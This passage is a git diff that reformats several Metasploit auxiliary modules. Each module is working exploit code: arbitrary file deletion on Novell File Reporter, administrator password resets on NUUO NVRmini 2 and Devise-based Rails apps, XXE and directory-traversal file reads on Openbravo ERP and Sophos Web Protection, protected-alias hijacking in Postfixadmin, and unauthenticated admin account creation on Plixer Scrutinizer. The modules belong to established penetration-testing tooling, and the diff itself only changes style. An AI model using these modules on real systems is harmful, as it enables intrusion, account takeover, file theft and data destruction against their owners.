print_warning("Error while cleaning up site ID, manual cleanup required!")
rescue StandardError
print_warning('Error while cleaning up site ID, manual cleanup required!')
end
unless doc.root.elements["//host"]
print_error("No file returned. Either the server is patched or the file did not exist.")
unless doc.root.elements['//host']
print_error('No file returned. Either the server is patched or the file did not exist.')
return
end
path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
print_good("File saved to path: " << path)
path = store_loot('nexpose.file', 'text/plain', rhost, doc.root.elements['//host'].first.to_s, "File from Nexpose server #{rhost}")
print_good('File saved to path: ' << path)
end
end

View File

@ -7,56 +7,60 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell File Reporter Agent Arbitrary File Delete',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Novell File Reporter Agent Arbitrary File Delete',
'Description' => %q{
NFRAgent.exe in Novell File Reporter allows remote attackers to delete
arbitrary files via a full pathname in an SRS request with OPERATION set to 4 and
CMD set to 5 against /FSF/CMD. This module has been tested successfully on NFR
Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1) on
Windows platforms.
},
'Author' => [
'Luigi Auriemma', # Vulnerability discovery and Poc
'juan vazquez' # Metasploit module
],
'References' =>
[
arbitrary files via a full pathname in an SRS request with OPERATION set to 4 and
CMD set to 5 against /FSF/CMD. This module has been tested successfully on NFR
Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1) on
Windows platforms.
},
'Author' => [
'Luigi Auriemma', # Vulnerability discovery and Poc
'juan vazquez' # Metasploit module
],
'References' => [
[ 'CVE', '2011-2750' ],
[ 'OSVDB', '73729' ],
[ 'URL', 'http://aluigi.org/adv/nfr_2-adv.txt'],
]
))
)
)
register_options(
[
Opt::RPORT(3037),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('RPATH', [ true, "The remote file path to delete", "c:\\test.txt" ]),
])
register_options(
[
Opt::RPORT(3037),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('RPATH', [ true, 'The remote file path to delete', 'c:\\test.txt' ]),
]
)
end
def run
peer = "#{rhost}:#{rport}"
record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>5</CMD><PATH>#{datastore['RPATH']}</PATH></RECORD>"
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
md5 = Rex::Text.md5('SRS' + record + 'SERVER').upcase
message = md5 + record
print_status("Trying to delete #{datastore['RPATH']}...")
res = send_request_cgi(
{
'uri' => '/FSF/CMD',
'uri' => '/FSF/CMD',
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml",
'data' => message,
}, 5)
'method' => 'POST',
'ctype' => 'text/xml',
'data' => message
}, 5
)
if res and res.code == 200 and res.body =~ /<RESULT><VERSION>1<\/VERSION><STATUS>0<\/STATUS><TRANSID>0<\/TRANSID><\/RESULT>/
if res && (res.code == 200) && res.body =~ (%r{<RESULT><VERSION>1</VERSION><STATUS>0</STATUS><TRANSID>0</TRANSID></RESULT>})
print_good("File #{datastore['RPATH']} successfully deleted")
else
print_error("File not deleted")
print_error('File not deleted')
end
end
end

View File

@ -8,56 +8,58 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
'Description' => %q{
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
to an administrator password reset on the exposed web management interface.
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
(before v1.7.6), otherwise you need an administrative user password.
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
in those devices.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
'Description' => %q{
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable
to an administrator password reset on the exposed web management interface.
Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware
(before v1.7.6), otherwise you need an administrative user password.
This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance.
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested
in those devices.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2016-5676'],
['US-CERT-VU', '856152'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-nvr-vulns.txt'],
['URL', 'https://seclists.org/bugtraq/2016/Aug/45']
],
'DisclosureDate' => '2016-08-04'))
'DisclosureDate' => '2016-08-04'
)
)
register_options(
[
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, "Application path", '/']),
OptString.new('TARGETURI', [true, 'Application path', '/']),
OptString.new('USERNAME', [false, 'The username to login as', 'admin']),
OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']),
])
]
)
end
def run
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
'vars_get' => { 'cmd' => "loaddefconfig" }
'uri' => normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'cgi_system'),
'vars_get' => { 'cmd' => 'loaddefconfig' }
})
if res && res.code == 401
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'submit' => "Login"
}
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'login.php'),
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'submit' => 'Login'
}
})
if res && (res.code == 200 || res.code == 302)
cookie = res.get_cookies
@ -65,9 +67,9 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
end
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
'cookie' => cookie,
'vars_get' => { 'cmd' => "loaddefconfig" }
'uri' => normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'cgi_system'),
'cookie' => cookie,
'vars_get' => { 'cmd' => 'loaddefconfig' }
})
end

View File

@ -11,109 +11,111 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Openbravo ERP XXE Arbitrary File Read',
'Description' => %q{
The Openbravo ERP XML API expands external entities which can be defined as
local files. This allows the user to read any files from the FS as the
user Openbravo is running as (generally not root).
super(
update_info(
info,
'Name' => 'Openbravo ERP XXE Arbitrary File Read',
'Description' => %q{
The Openbravo ERP XML API expands external entities which can be defined as
local files. This allows the user to read any files from the FS as the
user Openbravo is running as (generally not root).
This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.
},
'Author' =>
[
This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.
},
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
'References' => [
['CVE', '2013-3617'],
['OSVDB', '99141'],
['BID', '63431'],
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2013-10-30'
))
'License' => MSF_LICENSE,
'DisclosureDate' => '2013-10-30'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, "Base Openbravo directory path", '/openbravo/']),
OptString.new('HttpUsername', [true, "The Openbravo user", "Openbravo"]),
OptString.new('HttpPassword', [true, "The Openbravo password", "openbravo"]),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
OptString.new('ENDPOINT', [true, "The XML API REST endpoint to use", "ADUser"])
])
OptString.new('TARGETURI', [ true, 'Base Openbravo directory path', '/openbravo/']),
OptString.new('HttpUsername', [true, 'The Openbravo user', 'Openbravo']),
OptString.new('HttpPassword', [true, 'The Openbravo password', 'openbravo']),
OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/passwd']),
OptString.new('ENDPOINT', [true, 'The XML API REST endpoint to use', 'ADUser'])
]
)
end
def run
print_status("Requesting list of entities from endpoint, this may take a minute...")
print_status('Requesting list of entities from endpoint, this may take a minute...')
users = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}"),
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore['ENDPOINT']}"),
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
}, 60)
if !users or users.code != 200
fail_with(Failure::NoAccess, "Invalid response. Check your credentials and that the server is correct.")
if !users || (users.code != 200)
fail_with(Failure::NoAccess, 'Invalid response. Check your credentials and that the server is correct.')
end
xml = path = id = other_id = '' #for later use
xml = path = id = other_id = '' # for later use
doc = REXML::Document.new users.body
doc.root.elements.each do |user|
id = user.attributes["id"]
other_id = user.attributes["identifier"]
print_status("Found #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}")
id = user.attributes['id']
other_id = user.attributes['identifier']
print_status("Found #{datastore['ENDPOINT']} #{other_id} with ID: #{id}")
print_status("Trying #{other_id}")
xml = %Q{<?xml version="1.0" encoding="UTF-8"?>
xml = %(<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT comments ANY >
<!ENTITY xxe SYSTEM "file://}
<!ENTITY xxe SYSTEM "file://)
xml << "#{datastore['FILEPATH']}\" > ]>\n"
xml << '<ob:Openbravo xmlns:ob="http://www.openbravo.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
xml << "<#{datastore["ENDPOINT"]} id=\"#{id}\" identifier=\"#{other_id}\">"
xml << "<#{datastore['ENDPOINT']} id=\"#{id}\" identifier=\"#{other_id}\">"
xml << "<id>#{id}</id>"
xml << '<comments>&xxe;</comments>'
xml << "</#{datastore["ENDPOINT"]}>"
xml << "</#{datastore['ENDPOINT']}>"
xml << '</ob:Openbravo>'
resp = send_request_raw({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore['ENDPOINT']}/#{id}"),
'data' => xml,
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
})
if !resp or resp.code != 200 or resp.body =~ /Not updating entity/
print_error("Problem updating #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}")
if !resp || (resp.code != 200) || resp.body =~ (/Not updating entity/)
print_error("Problem updating #{datastore['ENDPOINT']} #{other_id} with ID: #{id}")
next
end
print_status("Found writable #{datastore["ENDPOINT"]}: #{other_id}")
print_status("Found writable #{datastore['ENDPOINT']}: #{other_id}")
u = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore['ENDPOINT']}/#{id}"),
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
})
u = REXML::Document.new u.body
path = store_loot('openbravo.file','text/plain/', datastore['RHOST'], u.root.elements["//comments"].first.to_s, "File from Openbravo server #{datastore['RHOST']}")
path = store_loot('openbravo.file', 'text/plain/', datastore['RHOST'], u.root.elements['//comments'].first.to_s, "File from Openbravo server #{datastore['RHOST']}")
break
end
if path != ''
print_status("Cleaning up after ourselves...")
print_status('Cleaning up after ourselves...')
xml.sub!('&xxe;', '')
send_request_raw({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
'data' => xml,
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore['ENDPOINT']}/#{id}"),
'data' => xml,
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
})
print_good("File saved to: #{path}")

View File

@ -7,28 +7,29 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
'Description' => %q{
Postfixadmin installations between 2.91 and 3.0.1 do not check if an
admin is allowed to delete protected aliases. This vulnerability can be
used to redirect protected aliases to an other mail address. Eg. rewrite
the postmaster@domain alias
},
'Author' => [ 'Jan-Frederik Rieckers' ],
'License' => MSF_LICENSE,
'References' =>
[
super(
update_info(
info,
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
'Description' => %q{
Postfixadmin installations between 2.91 and 3.0.1 do not check if an
admin is allowed to delete protected aliases. This vulnerability can be
used to redirect protected aliases to an other mail address. Eg. rewrite
the postmaster@domain alias
},
'Author' => [ 'Jan-Frederik Rieckers' ],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2017-5930'],
['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],
['BID', '96142'],
],
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DisclosureDate' => '2017-02-03',
))
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DisclosureDate' => '2017-02-03'
)
)
register_options(
[
@ -37,7 +38,8 @@ class MetasploitModule < Msf::Auxiliary
OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),
OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),
OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])
])
]
)
end
def username
@ -57,27 +59,27 @@ class MetasploitModule < Msf::Auxiliary
end
def check
res = send_request_cgi({'uri' => postfixadmin_url_login, 'method' => 'GET'})
res = send_request_cgi({ 'uri' => postfixadmin_url_login, 'method' => 'GET' })
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe if res.code != 200
if res.body =~ /<div id="footer".*Postfix Admin/m
version = res.body.match(/<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)<\//mi)
version = res.body.match(%r{<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)</}mi)
return Exploit::CheckCode::Detected unless version
if Rex::Version.new("2.91") > Rex::Version.new(version[1])
if Rex::Version.new('2.91') > Rex::Version.new(version[1])
return Exploit::CheckCode::Detected
elsif Rex::Version.new("3.0.1") < Rex::Version.new(version[1])
elsif Rex::Version.new('3.0.1') < Rex::Version.new(version[1])
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Unknown
end
def run
print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
cookie = postfixadmin_login(username, password)
@ -85,7 +87,7 @@ class MetasploitModule < Msf::Auxiliary
print_good('Authenticated with Postfixadmin')
vprint_status('Requesting virtual_list')
res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
res = send_request_cgi({ 'uri' => postfixadmin_url_list(target_alias.split('@')[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil?
fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
body = res.body
@ -96,50 +98,44 @@ class MetasploitModule < Msf::Auxiliary
t = token[1]
print_status('Delete the old alias')
res = send_request_cgi({'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
res = send_request_cgi({ 'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi
if res.nil? || res.body.nil?
fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
elsif res.body =~ %r{<ul class="flash-error">.*<li.*#{target_alias}.*</li>.*</ul>}mi
fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
else
if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
else
fail_with(Failure::Unknown, 'An unexpected failure occured.')
end
fail_with(Failure::Unknown, 'An unexpected failure occured.')
end
end
print_good('Deleted the old alias')
vprint_status('Will create the new alias')
post_vars = {'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split("@")[-1], 'value[localpart]' => target_alias.split("@")[0..-2].join("@"), 'value[goto]' => new_goto}
post_vars = { 'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split('@')[-1], 'value[localpart]' => target_alias.split('@')[0..-2].join('@'), 'value[goto]' => new_goto }
res = send_request_cgi({'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
res = send_request_cgi({ 'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi
if res.nil? || res.body.nil?
fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
elsif res.body =~ /<ul class="flash-error">/mi
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
else
if res.body =~ /<ul class="flash-error">/mi
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
else
fail_with(Failure::Unknown, 'An unexpected failure occured.')
end
fail_with(Failure::Unknown, 'An unexpected failure occured.')
end
end
print_good('New alias created')
end
# Performs a Postfixadmin login
#
# @param user [String] Username
@ -151,7 +147,7 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_cgi({
'method' => 'POST',
'uri' => postfixadmin_url_login,
'vars_post' => {'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login'}
'vars_post' => { 'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login' }
}, timeout)
if res && res.redirect?
cookies = res.get_cookies
@ -166,8 +162,8 @@ class MetasploitModule < Msf::Auxiliary
normalize_uri(target_uri.path, 'login.php')
end
def postfixadmin_url_list(domain=nil)
modifier = domain.nil? ? "" : "?domain=#{domain}"
def postfixadmin_url_list(domain = nil)
modifier = domain.nil? ? '' : "?domain=#{domain}"
normalize_uri(target_uri.path, 'list-virtual.php' + modifier)
end

View File

@ -9,9 +9,11 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Devise Authentication Password Reset',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Ruby on Rails Devise Authentication Password Reset',
'Description' => %q{
The Devise authentication gem for Ruby on Rails is vulnerable
to a password reset exploit leveraging type confusion. By submitting XML
to rails, we can influence the type used for the reset_password_token
@ -27,14 +29,12 @@ class MetasploitModule < Msf::Auxiliary
of this vulnerability, by quoting numeric values when comparing them with
non numeric values.
},
'Author' =>
[
'joernchen', #original discovery and disclosure
'jjarmoc' #metasploit module
'Author' => [
'joernchen', # original discovery and disclosure
'jjarmoc' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-0233'],
[ 'OSVDB', '89642' ],
[ 'BID', '57577' ],
@ -43,39 +43,41 @@ class MetasploitModule < Msf::Auxiliary
[ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ],
[ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8']
],
'DisclosureDate' => '2013-01-28'
))
'DisclosureDate' => '2013-01-28'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
OptString.new('OBJECTNAME', [true, 'The user object name', 'user']),
OptString.new('PASSWORD', [true, 'The password to set']),
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
OptInt.new('MAXINT', [true, 'Max integer to try (tokens beginning with a higher int will fail)', 10])
])
]
)
end
def generate_token(account)
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
postdata="#{datastore['OBJECTNAME']}[email]=#{account}"
postdata = "#{datastore['OBJECTNAME']}[email]=#{account}"
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI']),
'method' => 'POST',
'data' => postdata,
'uri' => normalize_uri(datastore['TARGETURI']),
'method' => 'POST',
'data' => postdata
})
unless res
print_error("No response from server")
print_error('No response from server')
return false
end
if res.code == 200
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
print_error("Server returned error")
error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]
print_error('Server returned error')
vprint_error(error_text)
return false
end
@ -83,22 +85,21 @@ class MetasploitModule < Msf::Auxiliary
return true
end
def clear_tokens()
def clear_tokens
count = 0
status = true
until (status == false) do
status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5))
until (status == false)
status = reset_one(Rex::Text.rand_text_alpha(rand(5..14)))
count += 1 if status
end
vprint_status("Cleared #{count} tokens")
end
def reset_one(password, report=false)
(0..datastore['MAXINT']).each{ |int_to_try|
def reset_one(password, report = false)
(0..datastore['MAXINT']).each do |int_to_try|
encode_pass = REXML::Text.new(password).to_s
xml = ""
xml = ''
xml << "<#{datastore['OBJECTNAME']}>"
xml << "<password>#{encode_pass}</password>"
xml << "<password_confirmation>#{encode_pass}</password_confirmation>"
@ -106,14 +107,14 @@ class MetasploitModule < Msf::Auxiliary
xml << "</#{datastore['OBJECTNAME']}>"
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI']),
'method' => 'PUT',
'ctype' => 'application/xml',
'data' => xml,
})
'uri' => normalize_uri(datastore['TARGETURI']),
'method' => 'PUT',
'ctype' => 'application/xml',
'data' => xml
})
unless res
print_error("No response from server")
print_error('No response from server')
return false
end
@ -121,9 +122,9 @@ class MetasploitModule < Msf::Auxiliary
when 200
# Failure, grab the error text
# May need to tweak this for some apps...
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
if (report) && (error_text !~ /token/)
print_error("Server returned error")
error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]
if report && (error_text !~ /token/)
print_error('Server returned error')
vprint_error(error_text)
return false
end
@ -134,32 +135,31 @@ class MetasploitModule < Msf::Auxiliary
print_error("ERROR: received code #{res.code}")
return false
end
}
end
print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
return false
end
def run
# Clear outstanding reset tokens, helps ensure we hit the intended account.
if datastore['FLUSHTOKENS']
print_status("Clearing existing tokens...")
clear_tokens()
print_status('Clearing existing tokens...')
clear_tokens
end
# Generate a token for our account
print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
status = generate_token(datastore['TARGETEMAIL'])
if status == false
print_error("Failed to generate reset token")
print_error('Failed to generate reset token')
return
end
print_good("Reset token generated successfully")
print_good('Reset token generated successfully')
# Reset a password. We're racing users creating other reset tokens.
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
status = reset_one(datastore['PASSWORD'], true)
status ? print_good("Password reset worked successfully") : print_error("Failed to reset password")
status ? print_good('Password reset worked successfully') : print_error('Failed to reset password')
end
end

View File

@ -8,59 +8,61 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass',
'Description' => %q{
This will add an administrative account to Scrutinizer NetFlow and sFlow Analyzer
without any authentication. Versions such as 9.0.1 or older are affected.
},
'References' =>
[
super(
update_info(
info,
'Name' => 'Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass',
'Description' => %q{
This will add an administrative account to Scrutinizer NetFlow and sFlow Analyzer
without any authentication. Versions such as 9.0.1 or older are affected.
},
'References' => [
[ 'CVE', '2012-2626' ],
[ 'OSVDB', '84318' ],
[ 'URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt' ]
],
'Author' =>
[
'Author' => [
'MC',
'Jonathan Claudius',
'Tanya Secker',
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2012-07-27'
))
'License' => MSF_LICENSE,
'DisclosureDate' => '2012-07-27'
)
)
register_options(
[
OptString.new("TARGETURI", [true, 'The path to the admin CGI script', '/cgi-bin/admin.cgi']),
OptString.new("USERNAME", [true, 'The username for your new account']),
OptString.new("PASSWORD", [true, 'The password for your new account'])
])
OptString.new('TARGETURI', [true, 'The path to the admin CGI script', '/cgi-bin/admin.cgi']),
OptString.new('USERNAME', [true, 'The username for your new account']),
OptString.new('PASSWORD', [true, 'The password for your new account'])
]
)
end
def run
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'tool' => 'userprefs',
'newUser' => datastore['USERNAME'],
'pwd' => datastore['PASSWORD'],
'tool' => 'userprefs',
'newUser' => datastore['USERNAME'],
'pwd' => datastore['PASSWORD'],
'selectedUserGroup' => '1'
}
})
if not res
print_error("No response from server")
if !res
print_error('No response from server')
return
end
begin
require 'json'
rescue LoadError
print_error("Json is not available on your machine")
print_error('Json is not available on your machine')
return
end
@ -72,12 +74,11 @@ class MetasploitModule < Msf::Auxiliary
elsif j['new_user_id']
print_good("User created. ID = #{j['new_user_id']}")
else
print_status("Unexpected response:")
print_status('Unexpected response:')
print_status(j.to_s)
end
rescue JSON::ParserError
print_error("Unable to parse JSON")
print_error('Unable to parse JSON')
print_line(res.body)
end
end

View File

@ -10,21 +10,21 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
'Description' => %q{
This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
Sophos Web Virtual Appliance v3.7.0.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
'Description' => %q{
This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
Sophos Web Virtual Appliance v3.7.0.
},
'Author' => [
'Wolfgang Ettlingers', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-2641' ],
[ 'OSVDB', '91953' ],
[ 'BID', '58833' ],
@ -32,32 +32,35 @@ class MetasploitModule < Msf::Auxiliary
[ 'URL', 'https://web.archive.org/web/20130603041204/http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ],
[ 'URL', 'https://web.archive.org/web/20140701204340/https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ]
],
'DefaultOptions' => {
'SSL' => true
},
'DisclosureDate' => '2013-04-03'))
'DefaultOptions' => {
'SSL' => true
},
'DisclosureDate' => '2013-04-03'
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal depth', 2])
])
]
)
end
def my_basename(filename)
return ::File.basename(filename.gsub(/\\/, "/"))
return ::File.basename(filename.gsub(/\\/, '/'))
end
def is_proficy?
res = send_request_cgi(
{
'uri' => "/cgi-bin/patience.cgi",
'method' => 'GET'
})
'uri' => '/cgi-bin/patience.cgi',
'method' => 'GET'
}
)
if res and res.code == 307 and res.body =~ /The patience page request was not valid/
if res && (res.code == 307) && res.body =~ (/The patience page request was not valid/)
return true
else
return false
@ -65,57 +68,55 @@ class MetasploitModule < Msf::Auxiliary
end
def read_file(file)
travs = ""
travs << "../" * datastore['DEPTH']
travs = ''
travs << '../' * datastore['DEPTH']
travs << file
travs << "%00"
travs << '%00'
print_status("Retrieving file contents...")
print_status('Retrieving file contents...')
res = send_request_cgi(
{
